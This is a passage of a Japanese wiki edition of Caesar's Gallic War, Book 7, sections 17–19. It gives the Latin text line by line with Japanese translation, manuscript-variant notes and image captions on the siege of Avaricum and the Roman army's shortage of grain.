[[画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/17節]]　{{進捗|00%|2026-03-28}}&lt;/span&gt;
;アウァーリクム攻囲に取りかかるローマ軍の糧秣欠乏
:　
;　　　カエサルが、アウァーリクム攻囲のための堡塁工事に着手
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:castra#Latin|Castris]] ad eam partem [[wikt:en:oppidum#Latin|oppidi]] [[wikt:en:positus#Participle|positis]] Caesar, 
**カエサルは、[[w:オッピドゥム|城塞都市]]の&lt;small&gt;（以下に述べるような）&lt;/small&gt;方面に陣営を設置して、
*quae [[wikt:en:intermissus#Latin|intermissa]] a flumine et a &lt;u&gt;paludibus&lt;/u&gt; 
**──&lt;small&gt;（その方面は）&lt;/small&gt;川や沼地により&lt;small&gt;（外部から）&lt;/small&gt;遮断されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:paludibus|paludibus]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:palude#Latin|palude]] となっている。）&lt;/span&gt;
*[[wikt:en:aditus#Noun_3|aditum]], ut supra [[wikt:en:diximus#Latin|diximus]], [[wikt:en:angustus#Latin|angustum]] [[wikt:en:habebat|habebat]], 
**&lt;u&gt;前に述べたように&lt;/u&gt;、狭い進入路を持っているというものであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#15節|15節]]⑤項では、&lt;br&gt;　　　　ほぼあらゆる方向から川や沼地で囲まれており、&lt;br&gt;　　　　一つだけ、非常に狭い進入路を持っている、&lt;br&gt;　　　　と言及された。）&lt;/span&gt;
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:apparare#Latin|apparare]], 
**&lt;small&gt;（さらに）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を装備すること、
*[[wikt:en:vinea#Latin|vineas]] [[wikt:en:ago#Latin|agere]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を駆動すること、
*[[wikt:en:turris#Latin|turres]] duas [[wikt:en:constituo#Latin|constituere]] [[wikt:en:coepit|coepit]]; 
**2つの&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を建てること、を始めた。
*nam [[wikt:en:circumvallo#Latin|circumvallare]] loci natura [[wikt:en:prohibebat|prohibebat]]. 
**なぜなら&lt;small&gt;（城塞都市を）&lt;/small&gt;堡塁で囲むことを地勢が妨げていたからだ。
&lt;div style=&quot;text-align:center;&quot;&gt;
{|
|-
|[[画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。]]
|[[画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。]]
|}
&lt;/div&gt;
:　
;　　　カエサルが、同盟者であるボイイー族やハエドゥイー族に、糧秣徴発を促す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; De re [[wikt:en:frumentarius#Adjective|frumentaria]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:糧秣|糧秣]]調達について、
*[[wikt:en:Boii#Latin|Boios]] atque [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:adhortari|adhortari]] non [[wikt:en:destitit|destitit]]; 
**[[w:ボイイ族|ボイイー族]]や[[w:ハエドゥイ族|ハエドゥイー族]]を鼓舞することを止めなかった。
*quorum [[wikt:en:alter#Latin|alteri]], quod [[wikt:en:nullus#Determiner|nullo]] [[wikt:en:studium#Latin|studio]] [[wikt:en:agebant|agebant]], non multum [[wikt:en:adiuvabant|adiuvabant]], 
**彼らのうち一方&lt;small&gt;〔ハエドゥイー族〕&lt;/small&gt;は、何らの努力を行なわなかったので、あまり助けにならなかった。
*[[wikt:en:alter#Latin|alteri]] non magnis [[wikt:en:facultas#Latin|facultatibus]], quod [[wikt:en:civitas#Latin|civitas]] erat [[wikt:en:exiguus#Latin|exigua]] et [[wikt:en:infirmus#Latin|infirma]], 
**他方&lt;small&gt;〔ボイイー族〕&lt;/small&gt;は、貧弱かつ無力な部族であったので、大した貯えもなく、
*celeriter quod [[wikt:en:habuerunt|habuerunt]] [[wikt:en:consumpserunt|consumpserunt]]. 
**早々と持っていたものを消費し切ってしまった。
:　
;　　　糧秣の欠乏が続くが、ローマの将兵たちが耐え抜く
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|Summa]] [[wikt:en:difficultas#Latin|difficultate]] rei [[wikt:en:frumentarius#Adjective|frumentariae]] [[wikt:en:adfectus#Latin|adfecto]] [[wikt:en:exercitus#Noun|exercitu]] 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;軍隊は糧秣調達の大いなる困難さに苦悩させられながらも、
*[[wikt:en:tenuitas#Latin|tenuitate]] [[wikt:en:Boii#Latin|Boiorum]], 
**──&lt;small&gt;（その困難は）&lt;/small&gt;ボイイー族の微力さ、
*[[wikt:en:indiligentia#Latin|indiligentia]] [[wikt:en:Haedui#Latin|Haeduorum]], 
**ハエドゥイー族の怠慢、
*[[wikt:en:incendium#Latin|incendiis]] [[wikt:en:aedificium#Latin|aedificiorum]], 
**&lt;small&gt;（敵勢による）&lt;/small&gt;家屋の焼き打ちによるものであったが、──
*usque eo ut [[wikt:en:complures#Determiner|complures]] dies [[wikt:en:frumentum#Latin|frumento]] [[wikt:en:miles#Latin|milites]] [[wikt:en:caruerint|caruerint]] 
**かなりの日々にわたって兵士たちは糧食を欠くまでになり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:usque#Latin|usque]] eo ut ～「～まで」）&lt;/span&gt;
*et [[wikt:en:pecus#Latin|pecore]] ex [[wikt:en:longinquior#Latin|longinquioribus]] [[wikt:en:vicus#Latin|vicis]] [[wikt:en:adactus#Latin|adacto]] 
**かなり遠方の村々から家畜を駆り立てたので
*[[wikt:en:extremus#Latin|extremam]] [[wikt:en:fames#Latin|famem]] [[wikt:en:sustentarent|sustentarent]], 
**極限の飢えに耐え通すまでになったのであるが、
*[[wikt:en:nullus#Determiner|nulla]] tamen &lt;u&gt;vox est ab iis&lt;/u&gt; [[wikt:en:auditus#Latin|audita]] populi Romani [[wikt:en:maiestas#Latin|maiestate]] et [[wikt:en:superior#Latin|superioribus]] [[wikt:en:victoria#Latin|victoriis]] [[wikt:en:indignus#Latin|indigna]]. 
**しかしながら、ローマ人民の威厳やかつての勝利にふさわしからぬ声は、彼らから何ら聞かれなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:vox#Latin|vox]] est &lt;u&gt;ab&lt;/u&gt; iis だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では &lt;u&gt;ex&lt;/u&gt; iis vox est となっている。）&lt;/span&gt;
:　
;　　　ローマ人将兵たちがカエサルに攻囲の継続を訴える
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:quin#Latin|Quin]] etiam Caesar cum in [[wikt:en:opus#Latin|opere]] [[wikt:en:singulus#Latin|singulas]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:appellaret|appellaret]], 
**いやそればかりか、カエサルが作業中のそれぞれの[[w:ローマ軍団|軍団]]に呼びかけたとき、
*et, si [[wikt:en:acerbe#Latin|acerbius]] [[wikt:en:inopia#Latin|inopiam]] [[wikt:en:ferrent#Latin|ferrent]], se [[wikt:en:dimissurus#Latin|dimissurum]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt; [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:diceret|diceret]], 
**もし、とても過酷に欠乏に耐えているのならば、自分は攻囲を放棄するであろう、とカエサルが言っていたときに、
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:universi#Latin|universi]] ab eo, ne id [[wikt:en:faceret|faceret]], [[wikt:en:petebant|petebant]] : 
**&lt;small&gt;（各軍団の）&lt;/small&gt;一同は、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に、それ&lt;small&gt;〔攻囲の放棄〕&lt;/small&gt;をしないように求めていた。
*sic se complures annos illo [[wikt:en:imperans#Latin|imperante]] [[wikt:en:meruisse|meruisse]], 
**自分たちは&lt;small&gt;（以下のように）&lt;/small&gt;幾年にもわたって彼&lt;small&gt;〔カエサル〕&lt;/small&gt;の麾下で努めてきた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sic ～ ut …「…のように～である」）&lt;/span&gt;
*ut [[wikt:en:nullus#Determiner|nullam]] [[wikt:en:ignominia#Latin|ignominiam]] [[wikt:en:acciperent|acciperent]], &lt;u&gt;nusquam incepta&lt;/u&gt; re [[wikt:en:discederent|discederent]]: 
**何ら不名誉を蒙ってないし、事&lt;small&gt;〔戦役〕&lt;/small&gt;が完遂されないまま&lt;small&gt;（戦列を）&lt;/small&gt;離脱することは決してなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:nusquam#Latin|nusquam]] [[wikt:en:inceptus#Latin|incepta]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:numquam#Latin|numquam]] [[wikt:en:infectus#Adjective|infecta]] となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; hoc se [[wikt:en:ignominia#Latin|ignominiae]] &lt;u&gt;loco [[wikt:en:laturus#Latin|laturos]]&lt;/u&gt; &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt;, si [[wikt:en:inceptus#Latin|inceptam]] [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:reliquissent|reliquissent]]; 
**もし&lt;small&gt;（自分たちが）&lt;/small&gt;着手した攻囲を放棄してしまったならば、自分たちはこの状態を不名誉と見なすであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では loco laturos の語順だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では laturos loco の語順となっている。）&lt;/span&gt;
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;praestare&lt;/u&gt; omnes [[wikt:en:perferre|perferre]] [[wikt:en:acerbitas#Latin|acerbitates]], 
**あらゆる厳しさに持ちこたえることは&lt;small&gt;（以下のこと）&lt;/small&gt;よりましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:civis#Latin|civibus]] Romanis, qui [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:perfidia#Latin|perfidia]] Gallorum [[wikt:en:interissent|interissent]], [[wikt:en:parentarent|parentarent]]. 
**ケナブムでガッリア人たちの不義により滅びたローマ市民たちの仇討ちをしないよりも。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#3節|3節]]①項を参照。仇討ちをしないのなら、苦しむ方がましである、の意）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Haec [[wikt:en:idem#Latin|eadem]] [[wikt:en:centurio#Latin|centurionibus]] [[wikt:en:tribunus#Latin|tribunis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:miles#Latin|militum]] 
**これらと同じことを、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、
*[[wikt:en:mandabant|mandabant]], ut per eos ad Caesarem [[wikt:en:deferrentur|deferrentur]].
**彼らを通じてカエサルに申し立てるように、依頼していた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===18節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/18節]]　{{進捗|00%|2026-04-13}}&lt;/span&gt;
;カエサルがウェルキンゲトリークス不在の敵陣へ迫る
:　
;　　　カエサルは、ウェルキンゲトリークスが糧秣の欠乏によりローマ勢の糧秣徴発隊を襲撃に向かったと知る
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum iam [[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turres]] [[wikt:en:adpropinquassent#Latin|adpropinquassent]], 
**すでに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁に&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]が近づいていた際に、
*ex [[wikt:en:captivus#Noun|captivis]] Caesar [[wikt:en:cognovit#Latin|cognovit]], 
**カエサルは、捕虜たちから&lt;small&gt;（以下のことを）&lt;/small&gt;知った。
*[[wikt:en:Vercingetorix#Latin|Vercingetorigem]], [[wikt:en:consumptus#Latin|consumpto]] [[wikt:en:pabulum#Latin|pabulo]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は[[w:糧秣|糧秣]]を消費し切ると、
*castra [[wikt:en:movisse#Latin|movisse]] propius [[wikt:en:Avaricum#Latin|Avaricum]], 
**陣営をアウァーリクムのより近くに移動させて、
*atque ipsum cum [[wikt:en:equitatus#Latin|equitatu]] [[wikt:en:expeditus#Noun|expeditis]]&lt;nowiki&gt;que&lt;/nowiki&gt;, qui inter [[wikt:en:eques#Latin|equites]] [[wikt:en:proeliari#Verb|proeliari]] [[wikt:en:consuessent#Latin|consuessent]], 
**彼自身は、[[w:騎兵|騎兵]]隊、および騎兵たちの間で争闘することに習熟していた[[w:軽装歩兵|軽装歩兵]]たちとともに、
*&lt;u&gt;insidiarum&lt;/u&gt; causa eo [[wikt:en:profectus#Etymology_3|profectum]], quo nostros postero die [[wikt:en:pabulatum#Verb|pabulatum]] [[wikt:en:venturus#Latin|venturos]] [[wikt:en:arbitraretur#Latin|arbitraretur]]. 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が翌日に糧秣徴発にやって来るであろうと思われるところで待ち伏せするために、出発した、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:insidiarum|insidiarum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:insidiandi#Latin|insidiandi]] となっている。）&lt;/span&gt;

[[画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。]]
[[画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Quibus rebus [[wikt:en:cognitus#Participle|cognitis]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;それらの事情を知るや、
*media nocte [[wikt:en:silentium#Latin|silentio]] [[wikt:en:profectus#Etymology_3|profectus]] 
**真夜中の静けさのうちに出発して、
*ad hostium castra [[wikt:en:mane#Adverb_2|mane]] [[wikt:en:pervenit#Etymology_2|pervenit]]. 
**敵の陣営の辺りへ朝方に到着した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi, celeriter per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:adventus#Latin|adventu]] Caesaris [[wikt:en:cognitus#Participle|cognito]] 
**あの者たちは、速やかに斥候たちを通じてカエサルの到来を知るや、
*&lt;u&gt;carros&lt;/u&gt; [[wikt:en:impedimentum#Latin|impedimenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; sua in [[wikt:en:artior#Latin|artiores]] [[wikt:en:silva#Latin|silvas]] [[wikt:en:abdiderunt#Latin|abdiderunt]], 
**自分たちの&lt;u&gt;四輪荷馬車&lt;/u&gt;と[[w:輜重|輜重]]をとても深い森の中に隠して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：四輪荷馬車 [[wikt:en:carrus#Latin|carrus]] は、例えば右の画像のものを参照。）&lt;/span&gt;
*copias omnes in loco [[wikt:en:editus#Latin|edito]] atque [[wikt:en:apertus#Latin|aperto]] [[wikt:en:instruxerunt#Latin|instruxerunt]]. 
**全軍勢を高くそびえて開けている場所に配置した。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qua re [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事を報告されて、
*Caesar celeriter [[wikt:en:sarcina#Latin|sarcinas]] [[wikt:en:conferri#Latin|conferri]], 
**カエサルは速やかに&lt;small&gt;（兵士たちの）&lt;/small&gt;[[w:背嚢|背嚢]]が運び集められること、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:expediri#Latin|expediri]] [[wikt:en:iussit#Verb|iussit]].
**武具が&lt;small&gt;（すぐ使えるように）&lt;/small&gt;整えられることを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===19節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/19節]]　{{進捗|00%|2026-04-20}}&lt;/span&gt;
;丘の上のガッリア勢と沼沢を挟んで対峙する
:　
;　　　ガッリア勢の陣営の地勢
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:collis#Latin|Collis]] erat &lt;u&gt;leniter&lt;/u&gt; ab [[wikt:en:infimus#Latin|infimo]] [[wikt:en:adclivis#Latin|adclivis]]. 
**&lt;small&gt;（ガッリア勢がいる）&lt;/small&gt;丘陵はふもとから緩やかに、登り坂になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系･&amp;chi;系･B･M･S･N&lt;sup&gt;c&lt;/sup&gt; 写本では [[wikt:en:leviter#Latin|leviter]] 、&lt;br&gt;　　　　　　　　　L･N写本では [[wikt:en:breviter#Latin|breviter]] だが、&lt;br&gt;　　　　　　　　　より劣った写本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|codd.deter.]]'' では [[wikt:en:leniter#Latin|leniter]] となっている。

*Hunc ex omnibus fere partibus [[wikt:en:palus#Latin|palus]] [[wikt:en:difficilis#Latin|difficilis]] atque [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:cingebat#Latin|cingebat]] 
**これ&lt;small&gt;〔丘陵〕&lt;/small&gt;を、ほぼすべての方角から、不便で通りにくい沼地が取り巻いていて、
*non [[wikt:en:latior#Latin|latior]] [[wikt:en:pes#Latin|pedibus]] [[wikt:en:quinquaginta#Latin|quinquaginta]]. 
**&lt;small&gt;（その沼地は）&lt;/small&gt;50&lt;u&gt;[[w:ペース (長さ)|ペース]]&lt;/u&gt;より幅広くなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、50ペースは約15メートル弱。）&lt;/span&gt;
:　
;　　　丘の周囲を部族ごとに分かれて守備している
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc se [[wikt:en:collis#Latin|colle]] [[wikt:en:interruptus#Latin|interruptis]] [[wikt:en:pons#Latin|pontibus]] 
**この丘陵において、橋梁を破却すると、
*Galli [[wikt:en:fiducia#Latin|fiducia]] loci [[wikt:en:continebant#Latin|continebant]] 
**ガッリア人たちは、地勢を頼りに留まっていて、
*[[wikt:en:generatim#Latin|generatim]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:distributus#Latin|distributi]] in civitates 
**&lt;small&gt;（軍勢を）&lt;/small&gt;諸部族の種族ごとに分けて配置させて、
*omnia [[wikt:en:vadum#Latin|vada]] ac [[wikt:en:saltus#Etymology_2|saltus]] eius [[wikt:en:palus#Latin|paludis]] &lt;u&gt;certis custodiis&lt;/u&gt; [[wikt:en:obtinebant#Latin|obtinebant]], 
**その沼地の、すべての浅瀬や隘路を &lt;u&gt;一定の護衛兵たちによって&lt;/u&gt; 占領していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:certus#Latin|certis]] [[wikt:en:custodia#Latin|custodiis]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; animo [[wikt:en:paratus#Latin|parati]] &lt;u&gt;ut&lt;/u&gt;, si eam [[wikt:en:palus#Latin|paludem]] Romani [[wikt:en:perrumpo#Latin|perrumpere]] [[wikt:en:conarentur#Latin|conarentur]], [[wikt:en:haesitans#Latin|haesitantes]] [[wikt:en:premerent#Latin|premerent]] ex loco [[wikt:en:superior#Latin|superiore]]; 
**もしローマ勢がその沼地を強行突破せんと試みたならば、ぐずぐずしている者らを高地から圧倒する心積もりであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
:　
;　　　両軍は互角か？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; ut, qui [[wikt:en:propinquitas#Latin|propinquitatem]] loci [[wikt:en:videret#Latin|videret]], 
**&lt;small&gt;（両軍の）&lt;/small&gt;陣地が近接していることを見た者は、
*[[wikt:en:paratus#Latin|paratos]] prope [[wikt:en:aequus#Latin|aequo]] &lt;u&gt;Marte&lt;/u&gt; ad [[wikt:en:dimicandum#Latin|dimicandum]] [[wikt:en:existimaret#Latin|existimaret]], 
**&lt;small&gt;（ガッリア勢がローマ勢に対して）&lt;/small&gt;ほぼ互角の戦い&lt;small&gt;（の条件）&lt;/small&gt;で闘うつもりでいると考えただろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:Mars#Proper_noun_22|Mars]]「戦争の神マールス」ではなく、&lt;br&gt;　　　　　　　　　[[wikt:en:Mars#Noun_4|Mars]]「戦争、闘い」そのものを指す。）&lt;/span&gt;
;　　　ガッリア勢は不利なのに虚勢を張っているのか？
*qui [[wikt:en:iniquitas#Latin|iniquitatem]] [[wikt:en:condicio#Latin|condicionis]] [[wikt:en:perspiceret#Latin|perspiceret]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;条件の不利なことを見通した者は、
*[[wikt:en:inanis#Latin|inani]] [[wikt:en:simulatio#Latin|simulatione]] sese [[wikt:en:ostentare#Latin|ostentare]] [[wikt:en:cognosceret#Latin|cognosceret]]. 
**&lt;small&gt;（ガッリア勢が）&lt;/small&gt;虚栄の見せかけで己を誇示していることを、理解しただろう。
:　
;　　　カエサルが、至近距離の敵への攻撃にいきり立つ将兵らを教え諭す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indignans#Latin|Indignantes]] [[wikt:en:miles#Latin|milites]] Gaesar, 
**カエサルは&lt;small&gt;（ガッリア勢の誇示に）&lt;/small&gt;憤慨している兵士たちに、
*quod [[wikt:en:conspectus#Noun_2|conspectum]] suum hostes &lt;u&gt;perferre&lt;/u&gt; [[wikt:en:possent#Latin|possent]] [[wikt:en:tantulus#Latin|tantulo]] [[wikt:en:spatium#Latin|spatio]] [[wikt:en:interiectus#Latin|interiecto]], 
**──というのも、これほどのわずかな距離しか介在してないのに、敵勢が自分らを&lt;small&gt;（平然と）&lt;/small&gt;見据えていられるためだが──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:perferre#Latin|perferre]] だが、&amp;beta;系写本では [[wikt:en:ferre#Latin|ferre]] となっている。）&lt;/span&gt;
*et signum proelii [[wikt:en:exposcens#Latin|exposcentes]] [[wikt:en:edocet#Latin|edocet]], 
**および戦闘の合図を熱心に求めている者たちに対して&lt;small&gt;（以下のように）&lt;/small&gt;説く。
*[[wikt:en:quantus#Latin|quanto]] [[wikt:en:detrimentum#Latin|detrimento]] et [[wikt:en:quot#Latin|quot]] [[wikt:en:vir#Latin|virorum]] [[wikt:en:fortis#Latin|fortium]] [[wikt:en:mors#Latin|morte]] [[wikt:en:necesse#Adverb|necesse]] sit [[wikt:en:constare#Latin|constare]] [[wikt:en:victoria#Latin|victoriam]]; 
**勝利を確実にすることが、どれほどの損害と、どれほど多くの勇敢な&lt;ruby&gt;&lt;rb&gt;兵士&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの死を必要とするか、を。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　多くのローマ兵が死に瀕すれば、カエサル自身が戦争犯罪で弾劾されるだろう
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; quos cum &lt;u&gt;sic&lt;/u&gt; [[wikt:en:animus#Latin|animo]] [[wikt:en:paratus#Latin|paratos]] [[wikt:en:videat#Latin|videat]], &lt;u&gt;ut&lt;/u&gt; [[wikt:en:nullus#Determiner|nullum]] pro sua [[wikt:en:laus#Latin|laude]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:recusent#Latin|recusent]], 
**彼ら&lt;small&gt;〔兵士たち〕&lt;/small&gt;が己の賞賛のためにいかなる危険をも辞さない心積もりであると&lt;small&gt;（カエサルは）&lt;/small&gt;見て取ったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
